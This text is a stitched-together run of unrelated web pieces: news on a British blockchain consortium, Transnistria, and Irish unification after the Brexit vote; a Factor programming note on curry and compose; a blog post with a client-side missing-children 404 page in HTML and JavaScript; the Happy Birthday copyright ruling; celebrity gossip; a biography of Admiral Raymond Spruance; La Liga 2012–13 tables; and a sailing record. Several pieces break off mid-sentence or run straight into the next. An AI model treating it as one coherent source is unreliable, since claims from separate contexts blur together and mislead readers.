He then shared it with a meteorology student who had been chasing the storm. That student included it in his doctorate studies about the internal structure of tornadoes. The rare look from inside has been shared worldwide, and it is due to be shown soon at an international atmospheric science convention in California.
"I'm proud of it," Schultz says. "My video is saving lives."Five leading British fund houses have formed a consortium to study the benefits of blockchain integration. They are considering using blockchain to make asset transfer more efficient.
According to The Financial Times, the group includes Schroders, Aberdeen Asset Management, Columbia Threadneedle, Aviva Investors and Henderson Global Investors. The estimate for all assets under the control of the firms surpasses $1.4 trillion.
The companies are interested in the use of blockchain for asset management and asset transfer. The present aim of the project is to establish whether such applications have “a commercial benefit in the long term.”
Currently the representatives of the newly-found consortium lead consultations with fintech companies and startups.
The consortiums gain momentum as a strategy to investigate possible benefits of blockchain. R3CEV is the most notable example: 42 banks are going to create a blockchain equivalent for internal communication and trade as well as to build commercial applications. Accumulated potential is supposed to outweigh comparative slowness caused by the multiplicity of actors.
“In some forms, the technology could primarily serve to improve efficiency in the back offices of financial institutions and exchanges. Several startups were founded with that objective. Or the technology could be the means by which new players unseat entrenched institutions,” noted Head of Research at R3CEV Tim Swanson in his interview to the Brookings Institution.
Roman KorizkyTIRASPOL, Moldova — You’d be forgiven for mistaking this city of around 135,000 people in the east of the country for a provincial Russian settlement.
Drab, Soviet-era administrative buildings and apartment blocks line the main avenue. Tacky cafés and randomly placed electronics stores occasionally disrupt the string of gray and off-white structures.
In summer, Russian-speaking locals lazily stroll along cracked sidewalks past a statue of Soviet cosmonaut Yuri Gagarin and a billboard celebrating the city’s dour-faced “honorary residents,” most of them bureaucrats and military men.
The resemblance isn’t accidental.
More than 20 years after local separatists wrested this industrialized strip of land between the Dnestr River and Ukraine from Moldovan control shortly after the collapse of the Soviet Union in 1991, the breakaway Pridnestrovian Moldovan Republic — otherwise known by its Moldovan name, Transnistria — has been kept afloat by economic and political support from Russia.
While Transnistrian officials trumpet the republic’s self-styled “independence,” Moscow pays pensions, provides subsidized gas and hands out fast-tracked Russian passports at will.
It also maintains a peacekeeping force of more than 1,000 troops here, a vestige of the brief, bloody war in 1992 that resulted in a resounding Moldovan loss.
Russia now counts Transnistria as its de-facto outpost on Europe’s doorstep — and its 500,000 or so residents, around two-thirds of whom are ethnic Russians and Ukrainians, as its own.
“When Moldovans come to Moscow for work, they’re foreigners, like Tajiks or Uzbeks. But when Transnistrians arrive, they’re at home,” boasts Valery Litskai, a former diplomat who served as the region’s foreign minister from 1991 until 2008.
“If you’re a Transnistrian, you’re seen as part of the Russian civilization.”
The republic has all the trappings of modern statehood: a flag, an anthem, a government and local currency. It also has overwhelming popular support: only around 8 percent of the population wants reintegration with Moldova. Many Transnistrians count on formally integrating with Russia someday.
Government propaganda encourages such proclivities. Towering billboards glorify the “country” and its “capital,” as if to reassure citizens their state actually exists.
In fact, Transnistria remains in diplomatic limbo, the subject of a two-decade-long effort by Western officials to resolve one of the former Soviet Union’s “frozen” conflicts.
Not even Russia recognizes the self-proclaimed republic as independent.
But keeping the region politically and economically reliant on Moscow, experts say, helps stymie Moldova’s European integration and sends the message that the impoverished post-Soviet country should remain in Russia’s orbit.
The Kremlin has underscored its intentions by naming Deputy Prime Minister Dmitry Rogozin, a nationalist hawk in charge of Russia’s military industrial complex, as its special representative to Transnistria.
On a visit last week, Rogozin reaffirmed Russia’s status as Transnistria's “guarantor” and warned Moldovan officials that their pro-European drive would inflame divisions along the Dnestr.
On the economic front, Kremlin-connected businessmen control some of the region’s top assets, including a steel mill and a power plant that account for the lion’s share of the local economy.
Those industries funnel Russian gas to Moldova and leave Chisinau, as the sole recognized customer, to pick up the tab of nearly $4 billion, researchers estimate. According to a report last year by the European Council on Foreign Relations, Transnistrian authorities sell the gas they receive to local enterprises and use the funds to fill state coffers.
Such activities are aimed at maintaining the loyalty of a region with outsize importance for Moscow.
“Transnistria’s greatest value to Russia is in providing a source of leverage within Moldova,” the report said.
But a moment of reckoning may be fast approaching. With Moldova only months away from signing key agreements with the EU, the region’s resolve will be tested.
For years, Transnistria has gotten away with sending more than 40 percent of its exports — mostly steel and textiles — to the European market under a favorable trade regime. But |
the quotation with the integer 5, we get a new quotation, [ 5 + ], which adds 5 to the top of the stack. This is similar to currying in applicative languages, so Factor calls this operation curry.
Another fundamental operation on quotations is composition: suppose we take the quotation [ 2 + ] and the quotation [ 0 > ] ; their composition is [2 + 0 > ]. Of course, this is just the concatenation of the two quotations.
These two fundamental operations -- curry and compose -- have very simple and intuitive semantics. Note that quotations are printable objects, whereas in applicative languages, closures are typically opaque.
Examples of curry :
5 [ + ] curry. [ 5 + ]
Compare with lisps applicative version; note the closure does not print readably:
* ( let ((x 5 )) ( lambda (y) ( + x y))) #<FUNCTION (LAMBDA (Y)) { 11682335 } >
or Haskell:
( 5 + ) Functions cannot be printed in Haskell
Examples of compose :
[ 3 = ] [ not ] compose. [ 3 = not ]
Applicative version:
* ( let ((f ( lambda (x) ( = x 3 )))) ( lambda (y) ( not ( funcall f y)))) #<FUNCTION (LAMBDA (Y)) {11680B3D} >
(not. ( 3 = = )) Again, functions cannot be printed
As you can see, function composition and partial application feels a lot more natural in stack languages, because of the duality between composition and concatenation.DUBLIN (Reuters) - The future unification of Ireland would be in the best interests of its citizens, but holding a referendum while the British government is negotiating its exit from the EU would only cause division, Irish Foreign Minister Charlie Flanagan said on Saturday.
Northern Ireland’s deputy leader Martin McGuinness called on Friday for a vote to unite Ireland with the British-run province to the north. But his demands were rebuffed by pro-British First Minister Arlene Foster as well as by Irish Prime Minister Enda Kenny.
Under a 1998 peace deal that ended 30 years of sectarian violence, Britain’s Secretary of State for Northern Ireland can call a referendum if it appears likely a majority of those voting would seek to form part of a united Ireland.
“I share the view that at some stage in the future that the unification would be in the best interests of the people but only when there is a majority consent of the people in Northern Ireland,” Charlie Flanagan told national broadcaster RTE.
“We now have a situation following the referendum, where the UK is leaving the European Union. Any further referendums in Northern Ireland would cause a greater level of division than we have now and is therefore in my view particularly unhelpful.”
Britain’s Northern Ireland minister Theresa Villiers, who campaigned for Britain to leave the European Union in Thursday’s referendum, said the conditions for a vote had not been met.
But McGuinness said the British government had no democratic mandate to represent the views of the North after 56 percent of Northern Irish voters sought to remain in the EU compared to the 52 percent of the United Kingdom as a whole who voted to leave.
Sinn Fein, predominantly supported by Catholic Nationalists who remained part of the UK in a province dominated by Protestants after the Irish state secured independence from Britain in 1921, campaigned for a vote to leave.
Opinion polls have consistently shown little appetite from voters on either side of the border for unification. A BBC/RTE survey in November found that 30 percent of voters in Northern Ireland would like to see a united Ireland in their lifetime.
Kenny said there were much more serious issues to deal with after the vote, including the fate of the border, the only land frontier between the UK and the rest of the EU that was marked by military checkpoints until the 1998 peace deal.I noticed a post over at a blog called "The other side of the moon" where the author suggests that we put pictures and details of missing children on on 404 pages. It's a simple and brilliant idea. Millions of 404s are delivered every day. We are reporting on missing pages, but not on missing children. He includes a simple PHP solution. I set out to create an ASP.NET solution, but then realized that a server-side solution wasn't really necessary.
Could I do it all on the client side? This way anyone could add this feature to their site, regardless of their server-side choice. This could make the solution much more palatable to folks who may not be into.NET.
Here's what I came up with. You can see it in action if you request a file that doesn't exist from my site, like http://www.hanselman.com/foo.aspx.
The file is called missingkids404.html and it's just static html. You will need to configure your webserver to serve this page when it needs to serve a 404. For me, as I do run ASP.NET and IIS, I needed to add this to my web.config in the System.Web section:
The file, in its entirety, is this:
<html>
<head>
<title>Missing Kids 404</title>
<style type="text/css">
.sys-template { display:none; }
.missingkid { clear:both; }
</style>
<script src="http://ajax.microsoft.com/ajax/beta/0911/Start.js" type="text/javascript"></script>
</head>
<body>
<script type="text/javascript">
Sys.require([Sys.components.dataView, Sys.scripts.jQuery], function() {
$("#missingkids").dataView();
var statecode = "ZZ";
var dataurl = "http://query.yahooapis.com/v1/public/yql?q=SELECT%20*%20From%20xml%0D%0A%20Where%20url%3D'http%3A%2F%2Fwww.missingkidsmap.com%2Fread.php%3Fstate%3D" + statecode + "'%0D%0A&format=json&callback=?";
var data = $.getJSON(dataurl, function(results){
Sys.get("$missingkids").set_data(results.query.results.locations.location);
}
);
});
function getSrc(url) {
var lastIndex = url.lastIndexOf('=');
return url.substring(lastIndex+1);
}
</script>
<p>
<strong>Sorry, the page you're trying to find is missing.</strong>
</p>
<p>
We may not be able to find the page, but perhaps you could help find one of these missing children:
</p>
<div id="missingkids" class="sys-template">
<div class="missingkid">
<img sys:width="60" sys:align="left" sys:src="{binding medpic, convert=getSrc}" />
<strong>{{firstname + " " + lastname}}</strong>, Age: {{age}} from
{{city}}, {{st}}</br>
Contact: {{policeadd}} at {{policenum}}<br/>
<br/>
</div>
</div>
</body>
</html>
I'm using the standard {{token}} syntax as well as one custom syntax with a convert=callback so I can pre-process the data. The source data feed includes an unfortunate chunk of html, rather than a direct link to a picture. I need to strip everything after the last equals sign (=) in order to get the image src URL. That method is called getSrc, and the binding looks like:
If this is useful, the next step is to add geolocation. You can look at http://www.hanselman.com/missingkids404geo.html for the beginnings of a geo-location aware one. The open issue right now is that the missing kids feed works only in the US, Canada and the UK. I would need to figure out now to determine the two-letter STATE code from the geolocation API, which doesn't provide codes in that way. Worst case scenario, I'd have a lookup table of state names to abbreviations.
Enjoy! Thoughts?They launched the case against the music publisher after it had asked them for $1,500 (£970) for the right to use "Happy Birthday To You" in a documentary they were making about the song.
But they argued that the song was in the public domain and said that Warner/Chappell Music had been "wrongfully asserting copyright ownership in the Happy Birthday lyrics."
Read More'Goodfellas' actor sues 'The Simpsons'
Marya and Siegel claimed that the music publisher had thus been charging "millions of dollars of unlawful licensing fees." Warner/Chappell music is reported to have earned around $2 million a year from royalties from the song whenever it was broadcast – technically, anyone singing "Happy Birthday" in public owed royalties.
Warner/Chappell music argued that it had acquired a company in 1988 that owned the original copyright to the song. However, Judge King ruled that that company had never owned the rights to the lyrics and the original copyright -- filed in 1935 by the Clayton F Summy Company -- applied to a specific musical arrangement of the song rather than its lyrics.
The song is believed to have been written by two sisters, Mildred and Patty Hill, in 1893. Alhtough they knew Clayton F Summy, the judge found no evidence they had given him any rights to the lyrics, however.
"The Hill sisters gave Summy Co the rights to the melody, and the rights to piano arrangements based on the melody, but never any rights to the lyrics," Judge King said.
After the ruling, a spokesman for Warner/Chappell said "We are looking at the court's lengthy opinion and considering our options." The attorney for the plaintiffs, Randall Newman, said that "Happy Birthday' is finally free after 80 years," the LA Times reported.Blac Chyna treated her son King Cairo to a fun trip to a fire station on Tuesday.
The 27-year-old and her fiance Rob Kardashian, 29, took the tot to a firehouse in LA where he got to sit in a fire engine, shoot water from a hose and examine the fire truck's tools.
And his mom got into the groove too, being allowed to put on firefighter's gear including a helmet and boots.
Scroll down for video
Fun day out: Blac Chyna took her son King Cairo, three, on a trip to a fire station in Los Angeles on Tuesday. The boy's father is the rapper Tyga who is currently dating Kylie Jenner
The little boy is Blac's son with her ex Tyga, who, of course, is dating Rob's half-sister Kylie Jenner, 18.
The only son from Kris Jenner's marriage to the late Robert Kardashian and the model have been nearly inseparable since they began dating earlier this year.
They announced their engagement a week ago after Rob presented Blac with a $325,000 ring.
Blended family: The model and her kid were joined by Rob Kardashian, to whom she is now engaged. They posed with station personnel for a photo Blac posted on social media
He's the chief! The lucky tot got to sit in the driver's seat of a fire engine
Here's how you do it: The little boy also got to shoot water from a fire hose, with a little help from a friendly firefighter
Special treat: King Cairo got to check out all the firefighter's gear close up including a fire axe
Where's the fire? Blac joined in the fun and was actually allowed to suit up in full firefighter uniform
She's equipped! The model really got into the spirit of things and posed, laughing and with her tongue out, as she carried firefighting equipment
Blac and King Cairo's visit with LA firefighters was documented on cell phone video and posted on Snapchat.
Before they headed out, though, Blac had shared a sweet clip of her son with his toy fire engine and spoke about how 'infatuated' he is with fire trucks.
Wannabe firefighter: Before they headed out, Blac shared a video on Snapchat showing her son with his toy fire truck
Couldn't wait: In the clip, King Cairo got really excited when told he was going to a fire station
Cutie pie: The three-year-old was adorable with his baby dreadlocks and his colorful t-shirt
Checked it out: He was allowed to explore all sorts of things relating to the fire truck
A good day: The doting mom clearly had as much fun as her youngster
Meanwhile, it's being reported that Rob, who famously quit his family's reality show and spent two years shying away from the spotlight, is set to return to the limelight with his new fiancee.
According to TMZ Monday, the younger brother of Kourtney, Kim and Khloe is being offered a big money deal to air his wedding with Blac in a TV special.
The website claimed the couple are considering starring in their own reality series which would see them paid between '$150-$200 thousand' each per episode, as well as '$500 thousand' each for the wedding day episode.Raymond Ames Spruance (July 3, 1886 – December 13, 1969) was a United States Navy admiral in World War II. He commanded U.S. naval forces during two of the most significant naval battles that took place in the Pacific Theatre: the Battle of Midway and the Battle of the Philippine Sea. At Midway, Spruance scored the first major victory for the United States over Japan; most historians consider Midway the turning point of the Pacific War.[1]
Official Navy historian Samuel Eliot Morison characterized Spruance's performance as "superb", and said that he "emerged from this battle one of the greatest admirals in American naval history".[2]
Spruance was nicknamed "electric brain" for his calmness even in moments of supreme crisis, a reputation enhanced by his successful tactics at Midway.[3] After the war, Spruance was appointed President of the Naval War College, and later served as American ambassador to the Philippines.
Early life [ edit ]
Spruance was born in Baltimore, Maryland, to Alexander and Annie Hiss Spruance. He was raised in Indianapolis, Indiana.[4] Spruance attended Indianapolis public schools and graduated from Shortridge High School. From there, he went on to graduate from the U.S. Naval Academy in 1907, and received further, hands-on education in electrical engineering a few years later.
Career prior to World War II [ edit ]
Spruance's first duty assignment was aboard the battleship USS Iowa, an 11,400 ton veteran of the Spanish–American War. In July 1907 he transferred to the battleship Minnesota and was aboard her during the historic around the world cruise of the Great White Fleet from 1907 to 1909.
Spruance's seagoing career included command of the destroyers Bainbridge from March 1913 to May 1914, Osborne, three other destroyers, and the battleship Mississippi.
In 1916 he aided in the fitting out of the battleship Pennsylvania and he served on board her from her commissioning in June 1916 until November 1917. During the last year of World War I he was assigned as Assistant Engineer Officer of the New York Naval Shipyard, and carried out temporary duty in London, England and Edinburgh, Scotland.[5]
Spruance ran a quiet bridge, without chit-chat; he demanded that orders be given concisely and clearly. In one incident a distraught officer rushed to report, "Captain, we've just dropped a depth charge over the stern!" "Well, pick it up and put it back," was Spruance's measured response.[6]
Spruance began attendance at the Naval War College in 1926, and graduated in 1927. He served as executive officer of USS Mississippi from October 1929 to June 1931. He also held several engineering, intelligence, staff and Naval War College positions up to the 1940s. He served as an instructor at the Naval War College from 1935 to 1938. He commanded the battleship USS Mississippi from April 1938 to December 1939, when he was promoted to rear admiral. On February 26, 1940, Spruance reported as commandant of the 10th Naval District with headquarters at San Juan, Puerto Rico. On August 1, 1941, he finished his tour in Puerto Rico.
World War II [ edit ]
Before Midway [ edit ]
In the first months of World War II in the Pacific, Spruance commanded the four heavy cruisers and support ships of Cruiser Division Five from his flagship, the heavy cruiser USS Northampton. His division was an element of the task force built around the aircraft carrier USS Enterprise and commanded by Vice Admiral William F. Halsey, Jr. Early on, Halsey had led his task force on hit-and-run raids against the Japanese in the western Pacific: striking the Gilbert and Marshall islands in February 1942, Wake Island in March, and projecting the air power of the Doolittle Raid against the Japanese homeland in April. These raids were critical to morale—setting a new tone of aggressiveness by U.S. commanders while providing invaluable battle experience for the commanders and sailors of the U.S. Navy.[4]
Midway [ edit ]
During the third week of May 1942 U.S. naval intelligence units confirmed that the Japanese would—by early June—invade Midway Island. Capturing and occupying Midway was the brainchild-plan of Commander-in-Chief of the Combined Fleet, Admiral Isoroku Yamamoto. With it he intended to significantly expand the Imperial Japanese Navy's outer defense perimeter across the central Pacific; and, he believed, this very powerful stroke against Midway would so severely threaten Hawaii and Pearl Harbor that the U.S. government would be induced to sue for peace[7] (see Battle of Midway: Background). On the other hand, Commander-in-Chief of the U.S. Pacific Fleet, Admiral Chester Nimitz knew he must intercept the Japanese invasion fleet, and that he must give battle to the enemy aircraft carriers before they could project their overwhelming power against the naval air station at Midway.
Less than two days before launch from Pearl Harbor, Nimitz's commander of the Fleet carrier force, Admiral Halsey, was hospitalized with severe shingles;[8] Halsey immediately recommended Admiral Spruance to Nimitz as his replacement. Although Spruance was proven as a cruiser division commander, he had no experience handling carrier-air combat; Halsey reassured Nimitz, and he told Spruance to rely on his newly inherited staff, particularly Captain Miles Browning, a battle-proven expert in carrier warfare.[9] Spruance assumed command of Task Force 16 with its two carriers USS Enterprise and USS Hornet under battle command of Admiral Frank Jack Fletcher. Fletcher's flagship USS Yorktown had been badly damaged at the Battle of the Coral Sea, but—at Nimitz's behest—it was patched-repaired in 'rush' time purposefully to join the Midway operation.
The U.S. Navy intercept force centered on the three carriers Enterprise, Hornet, and Yorktown, and their air-attack squadrons. It faced a Japanese invasion fleet organized into two groups: the air-attack task force of four carriers with support ships under command of Admiral Chūichi Nagumo, and the surface and occupation forces under Admiral Nobutake Kondō and others. Admiral Yamamoto commanded the combined invasion fleet from aboard his flagship Yamato.
The battle commenced on the morning of June 4; the first several waves of U.S. attack aircraft were badly beaten, both near Midway and at sea around the Japanese task force. Then U.S. dive bombers from Spruance's Enterprise located Nagumo's fleet of four carriers—which, fatefully, were without air cover. Most of Nagumo's attack planes had just returned from the first strike on Midway and were immobilized on the carrier decks, while his CAP cover planes were engaged with battling torpedo bombers sent by Spruance from Hornet (see Battle of Midway: Spruance judged.. and he gambled..). The U.S. dive bombers critically damaged three Japanese carriers including Nagumo's flagship Akagi; all three eventually sank. The surviving carrier, Hiryū, gave the Japanese some (brief) respite by sending strikes that crippled Yorktown. But several hours later—near the end of daylight hours—a U.S. scout plane located Hiryū again. Spruance quickly ordered his dive bombers to strike, which fatally damaged the fourth Japanese carrier; it was scuttled the next day.
The U.S. Navy counterforce sank all four Japanese carriers while losing one of its own, Yorktown. The repulse of the Japanese invasion fleet at Midway, largely directed by Spruance, essentially ended Japanese superiority in naval air-fleet power in the Pacific.
In 1949 naval historian Samuel E. Morison noted that Spruance was subjected to criticism for not pursuing the retreating Japanese and allowing the surface fleet to escape.[10] But in summing up Spruance's performance in the battle, Morison wrote: "Fletcher did well, but Spruance's performance was superb. Calm, collected, decisive, yet receptive to advice; keeping in his mind the picture of widely disparate forces, yet boldly seizing every opening. Raymond A. Spruance emerged from the battle one of the greatest admirals in American Naval history".[11][12]
For his actions at the battle of Midway Rear Admiral Spruance was awarded the Navy Distinguished Service Medal and cited as follows: "For exceptionally meritorious service… as Task Force Commander, United States Pacific Fleet. During the Midway engagement which resulted in the defeat of and heavy losses to the enemy fleet, his seamanship, endurance, and tenacity in handling his task force were of the highest quality."[13] Both Fletcher and Nimitz recommended Spruance for the Distinguished Service Medal for his role in the battle.[14]
The Battle of Midway is considered by many to be a turning point of the war in the Pacific, along with the Guadalcanal Campaign. Before Midway, a small and fractional U.S. Navy faced an overwhelmingly larger and battle-hardened Japanese Combined Fleet. After Midway, although the Japanese still held a temporary advantage in vessels and planes, the U.S. Navy and the nation gained confidence and, most critically, time. The setback in the Japanese timetable to encircle the Pacific gave the U.S. industrial machine time to crank up war production, and ultimately, to turn the advantage on Japan in the production of ships, planes, guns, and all the other matériel of war. The Battle of Midway infused the U.S. Pacific Navy with confidence. And with this battle the American forces gained, and afterwards continued to gain, hard combat experience; so the Japanese lost that crucial advantage as well.[citation needed]
Philippine Sea [ edit ]
Shortly after the Midway battle, Spruance became chief of staff to Admiral Nimitz, and in September 1942 was appointed as Deputy Commander in Chief of the Pacific Fleet.
In August 1943 Spruance was placed in command of the Central Pacific Force, which, on April 29, 1944, was redesignated as the Fifth Fleet. At that time, Admiral Nimitz instituted a unique arrangement in which the command of the vessels which made up the "Big Blue Fleet" alternated between Admiral William Halsey Jr., at which time it was identified as the Third Fleet and Task Force 38, and Admiral Spruance, when it became the Fifth Fleet and Task Force 58. When not in command of the fleet the admirals, and their staffs, were based at Pearl Harbor and planned future operations.
The two admirals were a contrast in styles. Halsey was aggressive and a risk taker. Spruance was calculating and cautious. Notwithstanding their different personalities, Spruance and Halsey were close friends. In fact, Spruance had a knack for getting along with difficult people, including his friend Admiral Kelly Turner, the hotheaded commander of 5th Fleet's amphibious force. One exception was Admiral John Towers, a constant critic of Spruance, whom Spruance came to despise for his naked ambition.[15]
Most common sailors were proud to serve under Halsey; most higher-ranking officers preferred to serve under Spruance. Captain George Dyer of the light cruiser Astoria, who served under both Spruance and Halsey, summed up the view of many ship captains:
My feeling was one of confidence when Spruance was there. When you moved into Admiral Halsey's command from Admiral Spruance's … you moved [into] an area in which you never knew what you were going to do in the next five minutes or how you were going to do it, because the printed instructions were never up to date.... He never did things the same way twice. When you moved into Admiral Spruance's command, the printed instructions were up to date, and you did things in accordance with them.[16]
This gave rise to the description of Spruance as "an Admiral's admiral".
Truk, Saipan, and Iwo Jima [ edit ]
Spruance directed Operation Hailstone against the Japanese naval base Truk in February 1944 in which twelve Japanese warships, thirty-two merchant ships and 249 aircraft were destroyed. This occurred at the same time that Admiral Turner's forces were attacking Eniwetok Atoll in the Marshalls, about 700 miles to the east. Spruance himself directed a task group of battleships, cruisers and destroyers that left the main body to go after Japanese ships that were fleeing Truk, sinking the light cruiser Katori and destroyer Maikaze. This was said to be the first time that a four-star admiral took part in a sea action aboard one of the ships engaged. Admiral Spruance commanded with deadly precision, reported an observer.[17]
While screening the American invasion of Saipan in June 1944, Spruance also defeated the Japanese fleet in the Battle of the Philippine Sea. Although he broke the back of the Japanese naval airforce by sinking three carriers, two oilers and destroying about 600 enemy airplanes (so many that the remaining Japanese carriers were used solely as decoys in the Battle of Leyte Gulf a few months later due to the lack of aircraft and aircrews to fly them) Spruance has been criticized for not being aggressive enough in exploiting his success in the Philippine Sea.[18] Buell quotes Spruance speaking with Morison:
As a matter of tactics I think that going out after the Japanese and knocking their carriers out would have been much better and more satisfactory than waiting for them to attack us, but we were at the start of a very important and large amphibious operation and we could not afford to gamble and place it in jeopardy.
However, his actions were both praised or understood by the main persons ordering and directly involved in the battle. Admiral Ernest J. King told him that "Spruance, you did a damn fine job there. No matter what other people tell you, your decision was correct". Spruance's fast carrier commander, Marc Mitscher, told his chief of staff Arleigh Burke that:
You and I have been in many battles, and we know there are always some mistakes. This time we were right because the enemy did what we expected him to do. Admiral Spruance could have been right. He's one of the finest officers I know of. It was his job to protect the landing force....[6]
For most of the war he preferred to use the heavy cruiser USS Indianapolis, named for his hometown, as his flagship. He shifted his flag to the old battleship USS New Mexico of the shore bombardment force after Indianapolis was struck by a Kamikaze off Okinawa. When New Mexico was struck by two kamikaze on the night of 12 May 1945 a hasty search by Spruance's staff found the Admiral manning a fire hose amidship. Determining that New Mexico was not too badly damaged to remain on station Spruance kept her as his flagship for the rest of the campaign.[19] Spruance later chose the battleship USS New Jersey as his flagship, as the huge Iowa class battleship had both room for his staff and the speed to keep up with the fast carrier task forces.
Spruance received the Navy Cross for his actions at Iwo Jima and Okinawa.[20]
End of Pacific War [ edit ]
Spruance succeeded Fleet Admiral Chester Nimitz as Commander in Chief, U.S. Pacific Fleet and Pacific Ocean Areas in November 1945.
On October 16, 1946, the former Secretary of War, Robert P. Patterson, presented the Army Distinguished Service Medal to Admiral Spruance, with citation as follows:
Admiral Raymond A. Spruance, U.S. Navy, as Task Force Commander during the capture of the Marshall and Marianas Islands, rendered exceptionally meritorious and distinguished services from January to June 1944. During the joint operations leading to the assault and capture of the important enemy bases, complete integration of Army and Navy units was accomplished under his outstanding leadership, enabling all the forces to perform their closely co-ordinated missions with outstanding success.[21]
Postwar [ edit ]
Retirement [ edit ]
Spruance's promotion to Fleet Admiral was blocked multiple times by Congressman Carl Vinson, a staunch partisan of Admiral William Halsey, Jr. Congress eventually responded by passing an unprecedented act specifying that Spruance would remain on a full admiral's pay once retired until death. Spruance was President of the Naval War College from February 1946 until he retired from the Navy in July 1948.
Shortly before his retirement, Spruance received the following Letter of Commendation from the Secretary of the Navy:
Your brilliant record of achievement in World War II played a decisive part in our victory in the Pacific. At the crucial Battle of Midway your daring and skilled leadership routed the enemy in the full tide of his advance and established the pattern of air-sea warfare which was to lead to his eventual capitulation...[21]
Later life [ edit ]
He was appointed as Ambassador to the Philippines by President Harry S. Truman, and served there from 1952 to 1955.
Spruance died in Pebble Beach, California on December 13, 1969 and was buried with full military honors at Golden Gate National Cemetery near San Francisco. His wife, Margaret Dean (1888–1985), is buried alongside him, as are Fleet Admiral Chester Nimitz, his longtime friend Admiral Richmond K. Turner, and Admiral Charles A. Lockwood, an arrangement made by all of them while living.
Personality [ edit ]
Spruance was an active man who thought nothing of walking eight or 10 miles a day. He was fond of symphonic music, and his tastes were generally simple. He never smoked, and drank little. He enjoyed hot chocolate and would make it for himself every morning. Besides his family, he loved the companionship of his pet schnauzer, Peter. Fit into his 70s, Spruance spent most of his retirement days wearing old khakis and work shoes and working in his garden and greenhouse; he loved to show them to visitors.[22]
His achievements in the navy were well-known, but himself much less. He did not discuss his private life, feelings, prejudices, hopes or fears, except with his family and his closest friends. He was modest and candid about himself. "When I look at myself objectively," he wrote in retirement, "I think that what success I may have achieved through life is largely due to the fact that I am a good judge of men. I am lazy, and I never have done things myself that I could get someone to do for me. I can thank heredity for a sound constitution, and myself for taking care of that constitution." About his intellect he was equally unpretentious: "Some people believe that when I am quiet that I am thinking some deep and important thoughts, when the fact is that I am thinking of nothing at all. My mind is blank."[22]
Legacy [ edit ]
The destroyers Spruance (DD-963), lead ship of the Spruance class of destroyers, and Spruance (DDG-111), 61st ship of the Arleigh Burke class of destroyers, were named in his honor.[23]
The main auditorium of the U.S. Naval War College, Newport, Rhode Island is Spruance Hall. A bust of Spruance is in the lobby.
The Indiana War Memorial in Indianapolis has a meeting room named for Spruance as well as displays honoring his career and that of the USS Indianapolis.
Awards [ edit ]
References [ edit ]
Further reading [ edit ]
Bess, Michael (2006). Choices Under Fire: Moral Dimensions of World War II. New York: Alfred A. Knopf. ISBN 0307263657.
Buell, Thomas B. (1974). The Quiet Warrior / A Biography of Admiral Raymond A. Spruance. Little, Brown and Company. ISBN 0-316-11470-7.
Hoyt, Edwin Palmer (1970). How They Won the War in the Pacific: Nimitz and His Admirals. Weybright and Talley. ASIN B0006C5D54.
This article incorporates text from the public domain Dictionary of American Naval Fighting Ships.The 2012–13 La Liga season (known as the Liga BBVA for sponsorship reasons) was the 82nd since its establishment. The campaign began on 18 August 2012, and ended on 1 June 2013.[2] Barcelona won the league for a 22nd time, after leading the league the entire season and amassing 100 points. As in previous years, Nike provided the official ball for all matches, with a new Nike Maxim Liga BBVA model to be used throughout the season for all matches.[3][4]
Teams [ edit ]
A total of 20 teams contested the league, including 17 sides from the 2011–12 season and three promoted from the 2011–12 Segunda División. This included the two top teams from the Segunda División, and the victorious team of the play-offs.
Villarreal CF, Sporting de Gijón and Racing de Santander were relegated to 2012–13 Segunda División the previous season: Villarreal were relegated after twelve years in La Liga, Sporting de Gijón returns to Segunda División after four-year tenure in La Liga, while Racing de Santander ended ten consecutive seasons in La Liga, the longest period in its history.
The three teams that were relegated were replaced by three 2011–12 Segunda División sides: Deportivo de La Coruña made an immediate return to the top level as Segunda División champion. The second-placing team Celta de Vigo was also promoted to La Liga after a five-year absence. The third promoted team was decided in the promotion play-offs where Real Valladolid returned to La Liga after two seasons in Segunda División.
Stadia and locations [ edit ]
1. ^ Huawei is the sponsor for select matches. 2. ^ On the back of shirt. 3. ^ Barcelona makes a donation to UNICEF in order to display the charity's logo on the back of the club's kit. 4. ^ On the shorts. 5. ^ Málaga makes a donation to UNESCO in order to display the charity's logo on the club's kit. 6. ^ On the sleeves.
Managerial changes [ edit ]
League table [ edit ]
Rules for classification: 1st points; 2nd head-to-head points; 3rd head-to-head goal difference; 4th goal difference; 5th number of goals scored; 7th
(C) Champion; (R) Relegated.
Notes: Source: La Liga Rules for classification: 1st points; 2nd head-to-head points; 3rd head-to-head goal difference; 4th goal difference; 5th number of goals scored; 7th Fair-play points Champion;Relegated.Notes:
a b c [29] Since the 2012–13 Copa del Rey champions, Atlético Madrid and runners-up Real Madrid qualified to 2013–14 UEFA Champions League, the 5th, 6th and 7th placed teams will qualify for the group stage, play-off round, and third qualifying round of the 2013–14 UEFA Europa League respectively. ^ [30] Málaga appealed against this UEFA ban, but the Court of Arbitration for Sport confirmed the decision of the UEFA Club Financial Control Body.[31] Málaga was excluded from participating in any UEFA club competition in 2013–14 season.Málaga appealed against this UEFA ban, but the Court of Arbitration for Sport confirmed the decision of the UEFA Club Financial Control Body. ^ [32][33] They appealed to [34] Rayo Vallecano was excluded from participating in any UEFA club competition for the next season after RFEF denied them a "UEFA license" because they didn't meet the requirements as they were immersed in a creditor contest.They appealed to CAS in June 2013 and on 11 July that decision was confirmed.
Positions by round [ edit ]
The table lists the positions of teams after completion of each round.
Team ╲ Round 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Barcelona 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 Real Madrid 9 14 9 12 7 6 5 4 4 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 2 2 2 2 2 2 2 2 2 2 2 2 Atlético Madrid 9 4 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 3 3 3 3 3 3 3 3 3 3 3 3 Real Sociedad 20 12 16 10 14 8 13 15 14 17 13 9 12 9 9 9 7 9 9 9 9 8 7 6 6 6 5 |
easily eclipsed the record set in 1998 by Yves Parlier when Aquitaine Innovations made the journey in 57 days and 3 hours.
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America's Cup Racers Push Sailboats to the Limit"We are happy!" Soldini said in a statement. "The Golden Route is an historic record, a very important and challenging one.... Maserati proved to be a powerful boat, a technological and reliable one. The crew has been extraordinary, everyone was prepared to face even the hardest situation."
